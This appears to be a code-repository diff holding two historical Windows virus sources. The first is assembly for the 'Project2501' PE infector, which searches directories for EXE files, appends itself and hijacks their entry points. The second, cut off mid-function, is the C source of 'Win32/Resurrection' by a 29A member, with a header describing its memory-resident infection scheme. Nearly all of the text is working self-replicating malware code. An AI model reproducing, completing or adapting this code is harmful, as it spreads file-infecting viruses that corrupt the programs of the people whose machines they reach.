|
||||
mov ecx,0
|
||||
mov cl,byte ptr [ebp+apilenght]
|
||||
cld
|
||||
rep cmpsb
|
||||
jz we_found_it
|
||||
pop esi
|
||||
add esi,4
|
||||
inc dword ptr [ebp+apicounter]
|
||||
jmp find_the_name
|
||||
we_found_it:
|
||||
pop esi ;taken from BillyBel
|
||||
mov eax,dword ptr [ebp+apicounter]
|
||||
shl eax,1
|
||||
add eax,dword ptr [ebp+ordinal_table_VA]
|
||||
mov esi,0
|
||||
xchg eax,esi
|
||||
lodsw
|
||||
shl eax,2
|
||||
add eax,dword ptr [ebp+adress_table_VA]
|
||||
mov esi,eax
|
||||
lodsd
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov ecx,dword ptr [ebp+putitthere]
|
||||
mov dword ptr [ecx],eax
|
||||
ret
|
||||
|
||||
find_apis endp
|
||||
|
||||
find_all_apis proc
|
||||
lea eax,[ebp+offset ExitProcess]
|
||||
push eax
|
||||
push dword ptr [ebp+exitprocesslenght]
|
||||
lea eax,[ebp+offset _ExitProcess]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset FindFirstFileA]
|
||||
push eax
|
||||
push dword ptr [ebp+findfirstfilelenght]
|
||||
lea eax,[ebp+offset _FindFirstFileA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset FindNextFileA]
|
||||
push eax
|
||||
push dword ptr [ebp+findnextfilelenght]
|
||||
lea eax,[ebp+offset _FindNextFileA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CreateFileA]
|
||||
push eax
|
||||
push dword ptr [ebp+createfilelenght]
|
||||
lea eax,[ebp+offset _CreateFileA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CloseHandle]
|
||||
push eax
|
||||
push dword ptr [ebp+closehandlelenght]
|
||||
lea eax,[ ebp+offset _CloseHandle]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CreateFileMappingA]
|
||||
push eax
|
||||
push dword ptr [ebp+createfilemappinglenght]
|
||||
lea eax,[ebp+offset _CreateFileMappingA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset MapViewOfFile]
|
||||
push eax
|
||||
push dword ptr [ebp+mapviewoffilelenght]
|
||||
lea eax,[ebp+offset _MapViewOfFile]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset UnmapViewOfFile]
|
||||
push eax
|
||||
push dword ptr [ebp+unmapviewoffilelenght]
|
||||
lea eax,[ebp+offset _UnmapViewOfFile]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset GetFileSize]
|
||||
push eax
|
||||
push dword ptr [ebp+getfilesizelenght]
|
||||
lea eax,[ebp+offset _GetFileSize]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset SetFilePointer]
|
||||
push eax
|
||||
push dword ptr [ebp+setfilepointerlenght]
|
||||
lea eax,[ebp+offset _SetFilePointer]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset SetEndOfFile]
|
||||
push eax
|
||||
push dword ptr [ebp+setendoffilelenght]
|
||||
lea eax,[ebp+offset _SetEndOfFile]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset SetCurrentDirectoryA]
|
||||
push eax
|
||||
push dword ptr [ebp+setcurrentdirectorylenght]
|
||||
lea eax,[ebp+offset _SetCurrentDirectoryA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CreateDirectoryA]
|
||||
push eax
|
||||
push dword ptr [ebp+createdirectorylenght]
|
||||
lea eax,[ebp+offset _CreateDirectoryA]
|
||||
push eax
|
||||
call find_apis
|
||||
ret
|
||||
find_all_apis endp
|
||||
|
||||
seek_and_destroy proc
|
||||
find_first_file:
|
||||
mov byte ptr [ebp+infection_flag],0
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
lea eax,[ebp+offset tosearch]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA]
|
||||
mov dword ptr [ebp+findfilehandle],eax
|
||||
inc eax
|
||||
jz no_files_left
|
||||
jmp open_the_file
|
||||
find_next_file:
|
||||
mov byte ptr [ebp+infection_flag],0
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
push dword ptr [ebp+findfilehandle]
|
||||
call [ebp+FindNextFileA]
|
||||
test eax,eax
|
||||
jz no_files_left
|
||||
open_the_file:
|
||||
push 0
|
||||
push 0
|
||||
push 3
|
||||
push 0
|
||||
push 1
|
||||
push 80000000h + 40000000h
|
||||
lea eax,[ebp+offset FindFileData.cFileName]
|
||||
push eax
|
||||
call [ebp+CreateFileA]
|
||||
cmp eax,0ffffffffh
|
||||
je find_next_file
|
||||
mov dword ptr [ebp+filehandle],eax
|
||||
push 0
|
||||
push dword ptr [ebp+filehandle]
|
||||
Call [ebp+GetFileSize]
|
||||
calculate_new_size:
|
||||
mov dword ptr [ebp+thefilesize],eax
|
||||
add eax,virus_end-start
|
||||
add eax,100
|
||||
now_make_file_mapping:
|
||||
push 0
|
||||
push eax
|
||||
push 0
|
||||
push 4
|
||||
push 0
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+CreateFileMappingA]
|
||||
mov dword ptr [ebp+filemappinghandle],eax
|
||||
mov eax,dword ptr [ebp+thefilesize]
|
||||
add eax,virus_end-start
|
||||
add eax,100
|
||||
push eax
|
||||
push 0
|
||||
push 0
|
||||
push 2
|
||||
push dword ptr [ebp+filemappinghandle]
|
||||
call [ebp+MapViewOfFile]
|
||||
mov dword ptr [ebp+mapadress],eax
|
||||
cmp word ptr [eax],'ZM'
|
||||
jne search_another
|
||||
mov ebx,0
|
||||
mov bx,word ptr [eax+3ch]
|
||||
cmp word ptr [eax+ebx],'EP'
|
||||
jne search_another
|
||||
cmp word ptr [eax+38h],'AA'
|
||||
je search_another
|
||||
call infect_file
|
||||
search_another:
|
||||
cmp byte ptr [ebp+infection_flag],1
|
||||
je close_normal
|
||||
call close_not_normal
|
||||
close_normal:
|
||||
push dword ptr [ebp+mapadress]
|
||||
call [ebp+UnmapViewOfFile]
|
||||
push dword ptr [ebp+filemappinghandle]
|
||||
call [ebp+CloseHandle]
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+CloseHandle]
|
||||
jmp find_next_file
|
||||
|
||||
no_files_left:
|
||||
cmp byte ptr [ebp+am_i_up],1
|
||||
je go_down
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
lea eax,[ebp+offset allfiles]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA]
|
||||
mov dword ptr [ebp+dir_search_handle],eax
|
||||
inc eax
|
||||
jz no_dirs_left
|
||||
cmp byte ptr [ebp+FindFileData.cFileName],'.'
|
||||
je find_next_dir
|
||||
jmp is_it_dir
|
||||
find_next_dir:
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
push dword ptr [ebp+dir_search_handle]
|
||||
call [ebp+FindNextFileA]
|
||||
test eax,eax
|
||||
jz no_dirs_left
|
||||
cmp byte ptr [ebp+FindFileData.cFileName],'.'
|
||||
je find_next_dir
|
||||
is_it_dir:
|
||||
cmp dword ptr [ebp+FindFileData.dwFileAttributes],10h
|
||||
je it_is_dir
|
||||
jmp find_next_dir
|
||||
it_is_dir:
|
||||
lea eax,[ebp+FindFileData.cFileName]
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA]
|
||||
mov byte ptr [ebp+am_i_up],1
|
||||
jmp find_first_file
|
||||
no_dirs_left:
|
||||
lea eax,[ebp+offset dotdot]
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA]
|
||||
add byte ptr [ebp+dir_counter],1
|
||||
cmp byte ptr [ebp+dir_counter],5
|
||||
je all_for_now
|
||||
mov byte ptr [ebp+am_i_up],0
|
||||
jmp find_first_file
|
||||
all_for_now:
|
||||
ret
|
||||
go_down:
|
||||
lea eax,[ebp+offset dotdot]
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA]
|
||||
mov byte ptr [ebp+am_i_up],0
|
||||
jmp find_next_dir
|
||||
seek_and_destroy endp
|
||||
|
||||
close_not_normal proc
|
||||
push 0
|
||||
push 0
|
||||
push dword ptr [ebp+thefilesize]
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+SetFilePointer]
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+SetEndOfFile]
|
||||
ret
|
||||
close_not_normal endp
|
||||
|
||||
infect_file proc
|
||||
mov byte ptr [ebp+infection_flag],1
|
||||
mov eax,dword ptr [ebp+mapadress]
|
||||
mov word ptr [eax+38h],'AA'
|
||||
mov edi,0
|
||||
mov di,word ptr [eax+3ch]
|
||||
add eax,edi ;peheader at eax
|
||||
mov dword ptr [ebp+peheader_offset],eax
|
||||
mov esi,dword ptr [eax+28h]
|
||||
mov dword ptr [ebp+old_entry_point],esi
|
||||
mov esi,dword ptr [eax+3ch]
|
||||
mov dword ptr [ebp+file_allign],esi
|
||||
mov esi,dword ptr [eax+34h]
|
||||
mov dword ptr [ebp+image_base],esi
|
||||
mov esi,eax
|
||||
go_to_last_section:
|
||||
mov ebx,dword ptr [esi+74h]
|
||||
shl ebx,3
|
||||
mov eax,0
|
||||
mov ax,word ptr [esi+6h]
|
||||
dec eax
|
||||
mov ecx,28h
|
||||
mul ecx
|
||||
add esi,78h
|
||||
add esi,ebx
|
||||
add esi,eax
|
||||
|
||||
modify_it:
|
||||
or dword ptr [esi+24h],00000020h
|
||||
or dword ptr [esi+24h],20000000h
|
||||
or dword ptr [esi+24h],80000000h
|
||||
mov eax, [esi+10h] ;code taken from Lord Julus (im not good in math)
|
||||
mov dword ptr [ebp+old_raw_size],eax
|
||||
add dword ptr [esi+8h],(offset virus_end - offset start)
|
||||
mov eax,dword ptr [esi+8h]
|
||||
mov ecx,dword ptr [ebp+file_allign]
|
||||
div ecx
|
||||
mov ecx,dword ptr [ebp+file_allign]
|
||||
sub ecx,edx
|
||||
mov dword ptr [esi+10h],eax
|
||||
mov eax,dword ptr [esi+8h]
|
||||
add eax,dword ptr [esi+10h]
|
||||
mov dword ptr [esi+10h],eax
|
||||
mov dword ptr [ebp+new_raw_size],eax
|
||||
mov eax,dword ptr [esi+0ch]
|
||||
add eax,dword ptr [esi+8h]
|
||||
sub eax,(offset virus_end-offset start)
|
||||
mov dword ptr [ebp+new_entry],eax
|
||||
mov eax,dword ptr [ebp+old_raw_size]
|
||||
mov ebx,dword ptr [ebp+new_raw_size]
|
||||
sub ebx,eax
|
||||
mov dword ptr [ebp+inc_raw_size],ebx
|
||||
mov eax,dword ptr [esi+14h]
|
||||
add eax,dword ptr [ebp+new_raw_size]
|
||||
mov dword ptr [ebp+new_file_size],eax
|
||||
mov eax,dword ptr [esi+14h]
|
||||
add eax,dword ptr [esi+8]
|
||||
sub eax,(offset virus_end-offset start)
|
||||
add eax,dword ptr [ebp+mapadress]
|
||||
mov edi,eax
|
||||
lea esi,[ebp+offset start]
|
||||
mov ecx,(offset virus_end-offset start)
|
||||
rep movsb
|
||||
mov esi,dword ptr [ebp+peheader_offset]
|
||||
mov eax,dword ptr [ebp+new_entry]
|
||||
mov dword ptr [esi+28h],eax
|
||||
mov eax,dword ptr [ebp+inc_raw_size]
|
||||
add dword ptr [esi+50h],eax
|
||||
ret
|
||||
infect_file endp
|
||||
|
||||
payload proc
|
||||
push 0
|
||||
lea eax,[ebp+offset dir_name]
|
||||
push eax
|
||||
call [ebp+CreateDirectoryA]
|
||||
ret
|
||||
payload endp
|
||||
|
||||
new_file_size dd 0
|
||||
inc_raw_size dd 0
|
||||
new_entry dd 0
|
||||
new_raw_size dd 0
|
||||
old_raw_size dd 0
|
||||
file_allign dd 0
|
||||
peheader_offset dd 0
|
||||
image_base dd 0
|
||||
old_entry_point dd 0
|
||||
image_base2 dd 0
|
||||
old_entry_point2 dd 0
|
||||
|
||||
kernelbase dd 0
|
||||
kernelpeheader dd 0
|
||||
adress_table_VA dd 0
|
||||
name_table_VA dd 0
|
||||
ordinal_table_VA dd 0
|
||||
apicounter dd 00000000h
|
||||
apinameoffset dd 0
|
||||
apilenght dd 0
|
||||
putitthere dd 0
|
||||
|
||||
ExitProcess dd 00000000h
|
||||
_ExitProcess db 'ExitProcess',0
|
||||
exitprocesslenght dd 12
|
||||
FindFirstFileA dd 00000000h
|
||||
_FindFirstFileA db 'FindFirstFileA',0
|
||||
findfirstfilelenght dd 15
|
||||
FindNextFileA dd 00000000h
|
||||
_FindNextFileA db 'FindNextFileA',0
|
||||
findnextfilelenght dd 14
|
||||
CreateFileA dd 00000000h
|
||||
_CreateFileA db 'CreateFileA',0
|
||||
createfilelenght dd 12
|
||||
CloseHandle dd 00000000h
|
||||
_CloseHandle db 'CloseHandle',0
|
||||
closehandlelenght dd 12
|
||||
CreateFileMappingA dd 00000000h
|
||||
_CreateFileMappingA db 'CreateFileMappingA',0
|
||||
createfilemappinglenght dd 19
|
||||
MapViewOfFile dd 00000000h
|
||||
_MapViewOfFile db 'MapViewOfFile',0
|
||||
mapviewoffilelenght db 14
|
||||
UnmapViewOfFile dd 00000000h
|
||||
_UnmapViewOfFile db 'UnmapViewOfFile',0
|
||||
unmapviewoffilelenght dd 16
|
||||
GetFileSize dd 00000000h
|
||||
_GetFileSize db 'GetFileSize',0
|
||||
getfilesizelenght dd 12
|
||||
SetEndOfFile dd 00000000h
|
||||
_SetEndOfFile db 'SetEndOfFile',0
|
||||
setendoffilelenght dd 13
|
||||
SetFilePointer dd 00000000h
|
||||
_SetFilePointer db 'SetFilePointer',0
|
||||
setfilepointerlenght dd 15
|
||||
SetCurrentDirectoryA dd 0
|
||||
_SetCurrentDirectoryA db 'SetCurrentDirectoryA',0
|
||||
setcurrentdirectorylenght dd 21
|
||||
CreateDirectoryA dd 0
|
||||
_CreateDirectoryA db 'CreateDirectoryA',0
|
||||
createdirectorylenght dd 17
|
||||
|
||||
mapadress dd 0
|
||||
infection_flag db 0
|
||||
|
||||
tosearch db '*.EXE',0
|
||||
findfilehandle dd 0
|
||||
filehandle dd 0
|
||||
thefilesize dd 0
|
||||
filemappinghandle dd 0
|
||||
credit db 'Project2501 was coded by BeLiAL'
|
||||
db 'Greetings to a nice girl from scandinavia'
|
||||
dotdot db '..',0
|
||||
allfiles db '*.*',0
|
||||
dir_search_handle dd 0
|
||||
am_i_up db 0
|
||||
dir_name db 'c:\windows\desktop\Project2501',0
|
||||
dir_counter db 0
|
||||
|
||||
MAX_PATH EQU 260
|
||||
FILETIME struct
|
||||
dwLowDateTime DWORD ?
|
||||
dwHighDateTime DWORD ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes DWORD ?
|
||||
ftCreationTime FILETIME <>
|
||||
ftLastAccessTime FILETIME <>
|
||||
ftLastWriteTime FILETIME <>
|
||||
nFileSizeHigh DWORD ?
|
||||
nFileSizeLow DWORD ?
|
||||
dwReserved0 DWORD ?
|
||||
dwReserved1 DWORD ?
|
||||
cFileName BYTE MAX_PATH dup(?)
|
||||
cAlternate BYTE 0eh dup(?)
|
||||
ends
|
||||
FindFileData WIN32_FIND_DATA <>
|
||||
|
||||
virus_end:
|
||||
end start
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,704 @@
|
||||
////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Win32/Resurrection
|
||||
//
|
||||
// Coded in late June'99/July'99/[VX vacations]/December'99
|
||||
//
|
||||
// (c)1999 Tcp/29A (tcp@cryogen.com)
|
||||
//
|
||||
// This is my 1st Windows virus (at last:) and the first coded by
|
||||
// me in the last 2 years.
|
||||
//
|
||||
// It is a PE memory resident appending virus fully written in C.
|
||||
// I think it's the first virus written in C that doesn't change
|
||||
// the NewExe pointer.
|
||||
// It could be also the 1st resident virus for Alpha machines running
|
||||
// NT. If you can compile and test it in Alpha, please send me a mail.
|
||||
//
|
||||
//
|
||||
// How the virus work?
|
||||
// - It creates a low priority thread that searchs and infects files.
|
||||
// - It adds its sections reading them from memory, relocates the
|
||||
// code/data and fixes the relocs (then the virus needs always
|
||||
// its own reloc section).
|
||||
// It imports the host import section, replacing the ExitProcess
|
||||
// call to ExitThread; then the virus will be the main thread and
|
||||
// it can continue searching for files even when host has finnished.
|
||||
// - If the file's last section is the reloc section, the virus
|
||||
// joins this section with its reloc section so if the file is
|
||||
// not loaded at its preferred address the system will reloc it
|
||||
// and the virus.
|
||||
//
|
||||
// The virus is called Resurrection because it's my resurrection in
|
||||
// the VX scene.
|
||||
// Unfortunately, I hadn't time to code the Resurrection payload:
|
||||
// using OLE automation and the C:\CLASS.SYS from W97M/Class (or
|
||||
// the one from Ethan) it could resurrect the virus.
|
||||
// Then I coded a simple payload that changes the captions in
|
||||
// MessageBoxes used by the host.
|
||||
//
|
||||
// Sorry for the obfuscated C and poorly optimized code, but it
|
||||
// works (i hope) and, hey, it's a virus :)
|
||||
//
|
||||
// This virus is dedicated to Jacky Qwerty, we'll miss you. And to
|
||||
// 29Aers for don't kicking a lazy and improductive member as I am ;)
|
||||
//
|
||||
// Well, now i got another 2 years credit hahaha (not!)
|
||||
//
|
||||
// Tcp.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
/////////////
|
||||
// Includes
|
||||
/////////////
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
/////////////////////
|
||||
// Defines
|
||||
/////////////////////
|
||||
|
||||
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
|
||||
#define MEMFREE(x) GlobalFree(x)
|
||||
|
||||
|
||||
/////////////////////
|
||||
// Type definitions
|
||||
/////////////////////
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD RelocOfs : 12;
|
||||
WORD RelocType: 4;
|
||||
} IMAGE_RELOCATION_DATA;
|
||||
|
||||
////////////
|
||||
// Globals
|
||||
////////////
|
||||
IMAGE_NT_HEADERS PEHeader;
|
||||
IMAGE_DOS_HEADER * IDosHeader;
|
||||
IMAGE_NT_HEADERS * IPEHeader;
|
||||
IMAGE_SECTION_HEADER * ISection;
|
||||
IMAGE_SECTION_HEADER * Section = NULL;
|
||||
int Generation = 1;
|
||||
int VirusSections = 0;
|
||||
int FirstVirusSection = 0;
|
||||
int VirusCodeSection = 0;
|
||||
int VirusImportSection = 0;
|
||||
DWORD VirusImportSize = 0;
|
||||
DWORD VirusRVAImports = 0;
|
||||
DWORD HostRVAImports = 0;
|
||||
int VirusRelocSection = 0;
|
||||
DWORD VirusRelocSize = 0;
|
||||
DWORD VirusRelocSizeDir = 0;
|
||||
DWORD OfsSections = 0;
|
||||
DWORD VirusBaseRVA = 0;
|
||||
DWORD VirusEP = 0;
|
||||
DWORD HostEP = 0;
|
||||
|
||||
//// Fix for Visual C 5.0 heap
|
||||
//extern __small_block_heap;
|
||||
|
||||
|
||||
|
||||
//////////////
|
||||
// Functions
|
||||
//////////////
|
||||
|
||||
|
||||
/////////////////////////////////////
|
||||
// GetProcAddress for ordinal imports
|
||||
/////////////////////////////////////
|
||||
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
|
||||
{
|
||||
IMAGE_NT_HEADERS * DLLHeader;
|
||||
IMAGE_EXPORT_DIRECTORY * Exports;
|
||||
DWORD * AddrFunctions;
|
||||
|
||||
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
|
||||
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
|
||||
return Base + AddrFunctions[NFunc - Exports->Base];
|
||||
}
|
||||
|
||||
|
||||
|
||||
//////////////////////////////////
|
||||
// Check file and read PE header
|
||||
//////////////////////////////////
|
||||
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
|
||||
{
|
||||
IMAGE_DOS_HEADER FileHeader;
|
||||
WORD SizeSections;
|
||||
DWORD BytesRead;
|
||||
|
||||
return
|
||||
( // Read file header
|
||||
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
|
||||
&&
|
||||
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
|
||||
&& // Check if EXE file
|
||||
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
|
||||
&& // Seek to NewExe header
|
||||
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
|
||||
&& // Read header
|
||||
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
|
||||
&&
|
||||
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
|
||||
&& // Check if PE file
|
||||
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
|
||||
&& // Alloc memory for file sections + virus sections
|
||||
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
|
||||
&&
|
||||
( (Section = MEMALLOC(SizeSections)) != NULL )
|
||||
&&
|
||||
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
|
||||
&& // Read PE sections
|
||||
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
|
||||
&&
|
||||
( BytesRead == SizeSections )
|
||||
&& // Check if there is enough room for our sections
|
||||
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
|
||||
&& // Only infect when entry point belongs to 1st section
|
||||
// Avoid reinfections and compressors (usually perform virus checks)
|
||||
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
|
||||
&& // Skip DDLs
|
||||
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
|
||||
&& // Skip files with overlays or not aligned to file alignment
|
||||
( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
|
||||
&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
|
||||
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// Translates a RVA into a file offset
|
||||
///////////////////////////////////////
|
||||
DWORD RVA2Ofs(DWORD rva)
|
||||
{
|
||||
int NSect;
|
||||
|
||||
NSect = 0;
|
||||
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
|
||||
{
|
||||
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
|
||||
break;
|
||||
NSect++;
|
||||
}
|
||||
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
|
||||
}
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////
|
||||
// I can't remember what this function does
|
||||
////////////////////////////////////////////
|
||||
void InfectFile(HANDLE FHandle)
|
||||
{
|
||||
BYTE * Relocations = NULL;
|
||||
BYTE * HostRelocs = NULL;
|
||||
BYTE * Ptr;
|
||||
IMAGE_BASE_RELOCATION * RelocBlock;
|
||||
IMAGE_RELOCATION_DATA * PtrReloc;
|
||||
int j;
|
||||
|
||||
// Let's do some initializations
|
||||
Section = NULL;
|
||||
Relocations = NULL;
|
||||
HostRelocs = NULL;
|
||||
Ptr = NULL;
|
||||
|
||||
if (ReadPEHeader(FHandle))
|
||||
{
|
||||
DWORD SectionRVA;
|
||||
int HostNSections;
|
||||
DWORD HostRelocsSize;
|
||||
DWORD BytesRead;
|
||||
int i;
|
||||
|
||||
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
|
||||
HostNSections = PEHeader.FileHeader.NumberOfSections;
|
||||
|
||||
HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
|
||||
// Search for victim import section
|
||||
for (i=0; i<HostNSections; i++)
|
||||
{
|
||||
if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
|
||||
{
|
||||
// Do it writable
|
||||
Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Check if last section is .reloc
|
||||
HostRelocsSize = 0;
|
||||
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
|
||||
{
|
||||
// Then we'll join it to virus reloc section
|
||||
VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
|
||||
if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
|
||||
{
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
else // Read the .reloc section
|
||||
{
|
||||
HostNSections--;
|
||||
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
|
||||
ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
|
||||
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
|
||||
}
|
||||
}
|
||||
else // There is no .reloc or it is not the last section
|
||||
{
|
||||
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
|
||||
{ // There are relocs but we didn't find them, so exit
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
|
||||
SetFilePointer(FHandle, 0, NULL, FILE_END);
|
||||
}
|
||||
|
||||
FirstVirusSection = HostNSections;
|
||||
// Add virus section table
|
||||
CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
|
||||
|
||||
// Reloc virus code & fix reloc sections
|
||||
if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
|
||||
{
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
|
||||
|
||||
RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
|
||||
PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
// Reloc all virus sections and write them to disk
|
||||
for (i=0; i<VirusSections; i++)
|
||||
{
|
||||
DWORD RelocsInBlock;
|
||||
|
||||
Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
|
||||
Section[HostNSections + i].VirtualAddress = SectionRVA;
|
||||
Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
|
||||
|
||||
if (i == VirusRelocSection) // Virus reloc section?
|
||||
{
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
|
||||
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
|
||||
Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
|
||||
// Write host relocations
|
||||
WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
|
||||
// Add virus relocations
|
||||
WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
|
||||
// Fill with zeros until file alignment
|
||||
memset(Relocations, 0, 0x1000);
|
||||
WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
|
||||
{
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);
|
||||
|
||||
// Patch Visual C 5.0 heap in .data section
|
||||
/*
|
||||
{
|
||||
DWORD * PtrHeap = &__small_block_heap;
|
||||
|
||||
if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
|
||||
&&
|
||||
((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
|
||||
)
|
||||
{
|
||||
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
|
||||
PtrHeap[3] = PtrHeap[2];
|
||||
PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
|
||||
}
|
||||
}
|
||||
*/
|
||||
// Do relocations in this section
|
||||
